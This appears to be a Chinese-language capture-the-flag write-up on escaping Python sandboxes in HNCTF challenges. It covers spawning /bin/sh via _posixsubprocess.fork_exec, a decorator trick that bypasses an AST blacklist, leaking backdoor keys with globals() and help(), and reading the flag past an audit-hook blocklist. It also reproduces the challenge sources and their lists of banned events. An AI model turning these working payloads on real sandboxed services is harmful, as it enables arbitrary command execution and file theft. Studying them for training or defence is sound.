#若设置为Ture,则在可能的情况下使用vfork而不是fork,这个vfork又是一个更高效的fork,只不过可能会存在一些问题,具体什么问题还得我深入学习python后才能知晓
) -> int: ...

这里有一个最小化示例,说实在的设置这些乱七八糟的真烦吧,自己拿来改改还成

1
2
3
4
import os
import _posixsubprocess

_posixsubprocess.fork_exec([b"/bin/cat","/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False)

​ OK,我们介绍完这个玩意后,就得回来看看题目了

image-20240606183317636

我们看这里不是有一个builtins吗,往里弄

1
2
3
4
5
6
7
__builtins__['__loader__'].load_module('_posixsubprocess')
or
__loader__.load_module('_posixsubprocess')

#都是将这个posixsubprocss动态加载到loader当中

#__loader__:加载器在导入的模块上设置的属性,访问时返回加载器对象本身。

然后posixsubprocess的payload则是

1
2
import os
__loader__.load_module('_posixsubprocess').fork_exec([b"/bin/sh"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, None, None, None, -1, None)

值得一提的是这个payload似乎有点不稳定,会蹦出一些python代码,而不是直接拿shell,多交几次才能出shell

等我变强了再来研究研究为什么吧

image-20240606185720026

calc_jail_beginner_level6.1

image-20240606185822099

上次的level6我们之所以能用那个方法getshell,其主要原因除了并没有ban掉这个对应模块外,还有一部分原因是并没有对我们输入payload的次数作出严格限制

而这题则不相同,下面这个code of python jail限制了我们只能输入一次payload

我getshell尚且还需要ls一下,你这个输入次数限制是不是有点太超过了

这里就要引用一下python3.8之后的抽象怪东西——海象运算符

我们都知道海象长这样

image-20240606190203368

之所以说海象运算符抽象是因为

它他妈的还真长得像海象

需要注意的是,海象运算符其实算是一种特殊的表达式,并不是一个赋值语句,这有什么不同呢?

​ 我们都知道赋值语句一般都是s=b这样的,但是你看,我们用完这个s=b之后,是不是妹有返回值啊

​ 但是海象运算符会

因为海象运算符本质上是一种特殊的表达式,是一种逻辑的表达,所以它是有返回值的,并且海象运算符不能单独成为一行,因为海象运算符是为了实际运用所创造出来的一种表达式,所以如果妹有应用场景的话,单独列一行海象运算符是不正确滴(此处联想奥卡姆剃刀)

​ 海象运算符主要目的就是同时进行赋值和表达式计算的工作

比如一个循环

1
2
3
while(n<5):
print(n)
n = n++

我们可以这样写

1
2
while(n:= n++)<5:
print(n)

OK,海象介绍完毕,接下来给payload

因为这个payload还是和上一题一样的原理,只不过是夹杂了海象运算符来处理无法多次输入命令的问题,所以就偷个懒不解释了

1
[os := __import__('os'), _posixsubprocess := __loader__.load_module('_posixsubprocess'), [_posixsubprocess.fork_exec([b"/bin/sh"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, None, None, None, -1, None) for i in range(100000)]]

哎呀还是让AI来解释解释吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
os := __import__('os'): 这行代码使用Python的__import__函数动态地导入os模块,并将引用赋值给变量os。os模块提供了许多与操作系统交互的功能。

_posixsubprocess := __loader__.load_module('_posixsubprocess'): 这行代码使用__loader__(通常是当前模块的加载器)动态加载_posixsubprocess模块,并将引用赋值给变量_posixsubprocess。_posixsubprocess模块允许创建新进程并与其通信。

[_posixsubprocess.fork_exec(...) for i in range(100000)]: 这是一个列表推导式,它尝试执行_posixsubprocess.fork_exec函数100000次。fork_exec函数用于创建一个新的进程并执行指定的程序。

fork_exec函数的参数如下:
[b"/bin/sh"]: 要执行的命令,这里是二进制形式的/bin/sh。
[b"/bin/sh"]: 命令的参数列表,这里传递了/bin/sh自身作为参数。
True: 表示在新进程中执行。
(): 环境变量,空元组表示使用当前环境。
None: 表示不设置任何额外的执行路径或文件行为。
一系列-1: 这些参数通常用于设置进程的文件描述符,这里使用-1表示使用默认行为。
*(os.pipe()): 使用os.pipe()创建一个管道,并将其作为标准输入、输出和错误输出传递给新进程。
False: 表示不重定向标准错误流。
None: 表示不设置任何其他配置参数。
range(100000): 这个函数生成一个从0到99999的整数序列,用于列表推导式中的迭代。
综合来看,这段payload的作用是尝试创建大量的新进程,每个进程都执行/bin/sh。这种行为可能是为了发起拒绝服务攻击(DoS),通过创建过多的进程来耗尽系统资源。

这个暴力getshell真是野蛮,但是我也不会更优雅的方法啦

cat /flag按到冒烟了

calc_jail_beginner_level7

image-20240607203500140

image-20240607205647139

那么好了好了,重头戏来了,AST逃逸!!!!

​ 肾么是AST捏

AST是一种源代码的抽象语法结构的树状表示,树上的每个节点都表示源代码当中的一种结构,所以很抽象

​ 抽象语法树并不会表现出真实语法出现的每一处细节,比如说嵌套括号被隐含树的结构中,并没有以节点的形式呈现。

​ 在沙箱的应用中,AST会将我们的输入转化为操作码,这个时候从字符串层面的变换基本上就没用了

​ 一般来说我们考虑绕过AST黑名单

​ 如果基于AST的沙箱限制了执行函数,那么就需要找到一种不需要执行函数的方式来执行系统命令

​ 比如说装饰器

1
2
3
4
5
6
7
8
9
装饰器(decorators)是 Python 中的一种高级功能,它允许你动态地修改函数或类的行为。

装饰器是一种函数,它接受一个函数作为参数,并返回一个新的函数或修改原来的函数。

装饰器的语法使用 **@decorator_name** 来应用在函数或方法上。

Python 还提供了一些内置的装饰器,比如 **@staticmethod** 和 **@classmethod**,用于定义静态方法和类方法。

Python 装饰允许在不修改原有函数代码的基础上,动态地增加或修改函数的功能,装饰器本质上是一个接收函数作为输入并返回一个新的包装过后的函数的对象。

回到本题,找到的payload是

1
2
3
@exec
@input
class X: pass

由于这个装饰器不会被解析为调用表达式或者语句,所以可以绕过黑名单,并且最终的payload也是由input接收的,这里并没有对input作出肾么限制,所以也不会被拦截

输入这串payload之后,我们就可以导入我们的os模块进行getshell了

1
2
3
4
5
6
>>> @exec
... @input
... class X:
... pass
...
<class '__main__.X'>__import__("os").system("ls")

把他们的源码也扒下来了,嘻嘻

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import ast
import sys
import os

WELCOME = '''

_ _ _ _ _ _ _ ______
(_) (_) | | | (_) | | | |____ |
_ __ _ _| | | |__ ___ __ _ _ _ __ _ __ ___ _ __ | | _____ _____| | / /
| |/ _` | | | | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _ \ \ / / _ \ | / /
| | (_| | | | | |_) | __/ (_| | | | | | | | | __/ | | | __/\ V / __/ | / /
| |\__,_|_|_| |_.__/ \___|\__, |_|_| |_|_| |_|\___|_| |_|\___| \_/ \___|_|/_/
_/ | __/ |
|__/ |___/

'''

def verify_ast_secure(m):
for x in ast.walk(m):
match type(x):
case (ast.Import|ast.ImportFrom|ast.Call|ast.Expr|ast.Add|ast.Lambda|ast.FunctionDef|ast.AsyncFunctionDef|ast.Sub|ast.Mult|ast.Div|ast.Del):
print(f"ERROR: Banned statement {x}")
return False
return True


def exexute_code(my_source_code):
print("Pls input your code: (last line must contain only --HNCTF)")
while True:
line = sys.stdin.readline()
if line.startswith("--HNCTF"):
break
my_source_code += line

tree_check = compile(my_source_code, "input_code.py", 'exec', flags=ast.PyCF_ONLY_AST)
if verify_ast_secure(tree_check):
print("check is passed!now the result is:")
compiled_code = compile(my_source_code, "input_code.py", 'exec')
exec(compiled_code)
print("Press any key to continue")
sys.stdin.readline()


while True:
os.system("clear")
print(WELCOME)
print("=================================================================================================")
print("== Welcome to the calc jail beginner level7,It's AST challenge ==")
print("== Menu list: ==")
print("== [G]et the blacklist AST ==")
print("== [E]xecute the python code ==")
print("== [Q]uit jail challenge ==")
print("=================================================================================================")
ans = (sys.stdin.readline().strip()).lower()
if ans == 'g':
print("=================================================================================================")
print("== Black List AST: ==")
print("== 'Import,ImportFrom,Call,Expr,Add,Lambda,FunctionDef,AsyncFunctionDef ==")
print("== Sub,Mult,Div,Del' ==")
print("=================================================================================================")
print("Press any key to continue")
sys.stdin.readline()
elif ans == 'e':
my_source_code = ""
exexute_code(my_source_code)
elif ans == 'q':
print("Bye")
quit()
else:
print("Unknown options!")
quit()$

其实这个东西还能用help直接进入帮助文档,然后拿下

1
2
3
@help
class X:
pass

然后!sh也能拿下

lake lake lake

进入题目捏,这个给了源码的,由于我是之前做完了前面那几道题才来做的,这个就比较小巫见大巫了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#it seems have a backdoor
#can u find the key of it and use the backdoor

fake_key_var_in_the_local_but_real_in_the_remote = "[DELETED]"

def func():
code = input(">")
if(len(code)>9):
return print("you're hacker!")
try:
print(eval(code))
except:
pass

def backdoor():
print("Please enter the admin key")
key = input(">")
if(key == fake_key_var_in_the_local_but_real_in_the_remote):
code = input(">")
try:
print(eval(code))
except:
pass
else:
print("Nooo!!!!")

WELCOME = '''
_ _ _ _ _ _
| | | | | | | | | | | |
| | __ _| | _____ | | __ _| | _____ | | __ _| | _____
| |/ _` | |/ / _ \ | |/ _` | |/ / _ \ | |/ _` | |/ / _ \
| | (_| | < __/ | | (_| | < __/ | | (_| | < __/
|_|\__,_|_|\_\___| |_|\__,_|_|\_\___| |_|\__,_|_|\_\___|
'''

print(WELCOME)

print("Now the program has two functions")
print("can you use dockerdoor")
print("1.func")
print("2.backdoor")
input_data = input("> ")
if(input_data == "1"):
func()
exit(0)
elif(input_data == "2"):
backdoor()
exit(0)
else:
print("not found the choice")
exit(0)

OK我们来浅浅的分析一下func和backdoor

image-20240607210544690

func:对输入的payload进行长度检验,若大于9则拦截

backdoor:先对key进行检验,这里有个假key和真key,真的在服务器上,这里没有对输入的payload进行长度限制,猜想出题人是想让我们在这利用

不过也确实,仔细一想的话好像还真不能用肾么9个字以内的payload达到rce掉python

于是globals(),刚好九个字符,查找全局变量

image-20240607210851288

这key不就出来了

1
a34af94e88aed5c34fb5ccfe08cd14ab

哎呀看那个知乎的WP写的真是神人,用什么密码学的方式写,我这种菜的用密码怕不是要爆零

image-20240607212213071

也是拿下了

l@ke l@ke l@ke

这题跟上一题差不多呢

image-20240607212520969

func的限制长度变成了6罢了

我自己仔细一琢磨,help()不是刚好六个字?

瞧我这聪明劲

image-20240607212721708

哎呀好吧还是有点蠢的,怎么跑去看人家模块去了哈哈哈

看server

![e6721a5e2f36a56e4a2cafed49808af](C:\Users\林郑果\Documents\WeChat Files\wxid_ong0ayoiddjn22\FileStorage\Temp\e6721a5e2f36a56e4a2cafed49808af.png)

那么好了好了,key拿到哩

1
95c720690c2c83f0982ffba63ff87338

image-20240607213133709

我吃!

laKe laKe laKe

题目给了源码附件,审代码吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#You finsih these two challenge of leak
#So cool
#Now it's time for laKe!!!!

import random
from io import StringIO
import sys
sys.addaudithook

BLACKED_LIST = ['compile', 'eval', 'exec', 'open']

eval_func = eval
open_func = open

for m in BLACKED_LIST:
del __builtins__.__dict__[m]


def my_audit_hook(event, _):
BALCKED_EVENTS = set({'pty.spawn', 'os.system', 'os.exec', 'os.posix_spawn','os.spawn','subprocess.Popen'})
if event in BALCKED_EVENTS:
raise RuntimeError('Operation banned: {}'.format(event))

def guesser():
game_score = 0
sys.stdout.write('Can u guess the number? between 1 and 9999999999999 > ')
sys.stdout.flush()
right_guesser_question_answer = random.randint(1, 9999999999999)
sys.stdout, sys.stderr, challenge_original_stdout = StringIO(), StringIO(), sys.stdout

try:
input_data = eval_func(input(''),{},{})
except Exception:
sys.stdout = challenge_original_stdout
print("Seems not right! please guess it!")
return game_score
sys.stdout = challenge_original_stdout

if input_data == right_guesser_question_answer:
game_score += 1

return game_score

WELCOME='''
_ _ __ _ _ __ _ _ __
| | | |/ / | | | |/ / | | | |/ /
| | __ _| ' / ___ | | __ _| ' / ___ | | __ _| ' / ___
| |/ _` | < / _ \ | |/ _` | < / _ \ | |/ _` | < / _ \
| | (_| | . \ __/ | | (_| | . \ __/ | | (_| | . \ __/
|_|\__,_|_|\_\___| |_|\__,_|_|\_\___| |_|\__,_|_|\_\___|

'''

def main():
print(WELCOME)
print('Welcome to my guesser game!')
game_score = guesser()
if game_score == 1:
print('you are really super guesser!!!!')
print(open_func('flag').read())
else:
print('Guess game end!!!')

if __name__ == '__main__':
sys.addaudithook(my_audit_hook)
main()

ban了os模块很多东西,subprocess也ban了

说是有非预期,因为没ban掉open

guesser部分函数分析一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def guesser():
game_score = 0
sys.stdout.write('Can u guess the number? between 1 and 9999999999999 > ')
sys.stdout.flush()
right_guesser_question_answer = random.randint(1, 9999999999999)
sys.stdout, sys.stderr, challenge_original_stdout = StringIO(), StringIO(), sys.stdout

try:
input_data = eval_func(input(''),{},{})
except Exception:
sys.stdout = challenge_original_stdout
print("Seems not right! please guess it!")
return game_score
sys.stdout = challenge_original_stdout

if input_data == right_guesser_question_answer:
game_score += 1

return game_score

这里可以关注到一个点就是,这里用了sys.stderr进行结果的重定向,

# 将标准输出和错误输出重定向到StringIO对象,原始标准输出保存在challenge_original_stdout变量中

引入的这个sys模块本身存在一定的问题,虽然是为了保证audit hoook能够发挥预期作用,但在这里的实际应用上并没有ban掉我们的读写操作

payload雏形

1
2
__import__("sys").__stdout__.write()
#动态导入sys模块,并且从中获得stdout属性,stdout中个属性是一个文件类对象,代表标准输出流,然后用stdout当中的write方法将目标数据写入

在这个payload的基础上,我们write方法就应该写入flag,这样flag就能被写到stdout当中,被我们读到

用os.open打开文件,用os.read读文件,或者__import__(‘io’).open(“flag”).read()

完整payload

1
__import__("sys").__stdout__.write(__import__("os").read(__import__("os").open("flag",__import__("os").O_RDONLY), 0x114).decode())

image-20240612155112996

本来是输出一段判断结果的语句,但是我们把flag添加到了输出内容当中,于是就给我们输出了flag

但是看人家密码佬的wp说是要用什么梅森旋转法进行攻击,哎呀看不懂一点

[PyJail] python沙箱逃逸探究·中(HNCTF题解 - WEEK2) - 知乎 (zhihu.com)

lak3 lak3 lak3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#Hi hackers,lak3 comes back
#Have a good luck on it! :Wink:

import random
from io import StringIO
import sys
sys.addaudithook

BLACKED_LIST = ['compile', 'eval', 'exec']

eval_func = eval
open_func = open

for m in BLACKED_LIST:
del __builtins__.__dict__[m]


def my_audit_hook(event, _):
BALCKED_EVENTS = set({'pty.spawn', 'os.system', 'os.exec', 'os.posix_spawn','os.spawn','subprocess.Popen','code.__new__','function.__new__','cpython._PySys_ClearAuditHooks','open'})
if event in BALCKED_EVENTS:
raise RuntimeError('Operation banned: {}'.format(event))

def guesser():
game_score = 0
sys.stdout.write('Can u guess the number? between 1 and 9999999999999 > ')
sys.stdout.flush()
right_guesser_question_answer = random.randint(1, 9999999999999)
sys.stdout, sys.stderr, challenge_original_stdout = StringIO(), StringIO(), sys.stdout

try:
input_data = eval_func(input(''),{},{})
except Exception:
sys.stdout = challenge_original_stdout
print("Seems not right! please guess it!")
return game_score
sys.stdout = challenge_original_stdout

if input_data == right_guesser_question_answer:
game_score += 1

return game_score

WELCOME='''
_ _ ____ _ _ ____ _ _ ____
| | | | |___ \ | | | | |___ \ | | | | |___ \
| | __ _| | __ __) | | | __ _| | __ __) | | | __ _| | __ __) |
| |/ _` | |/ /|__ < | |/ _` | |/ /|__ < | |/ _` | |/ /|__ <
| | (_| | < ___) | | | (_| | < ___) | | | (_| | < ___) |
|_|\__,_|_|\_\____/ |_|\__,_|_|\_\____/ |_|\__,_|_|\_\____/

'''

def main():
print(WELCOME)
print('Welcome to my guesser game!')
game_score = guesser()
if game_score == 1:
print('you are really super guesser!!!!')
print('flag{fake_flag_in_local_but_really_in_The_remote}')
else:
print('Guess game end!!!')

if __name__ == '__main__':
sys.addaudithook(my_audit_hook)
main()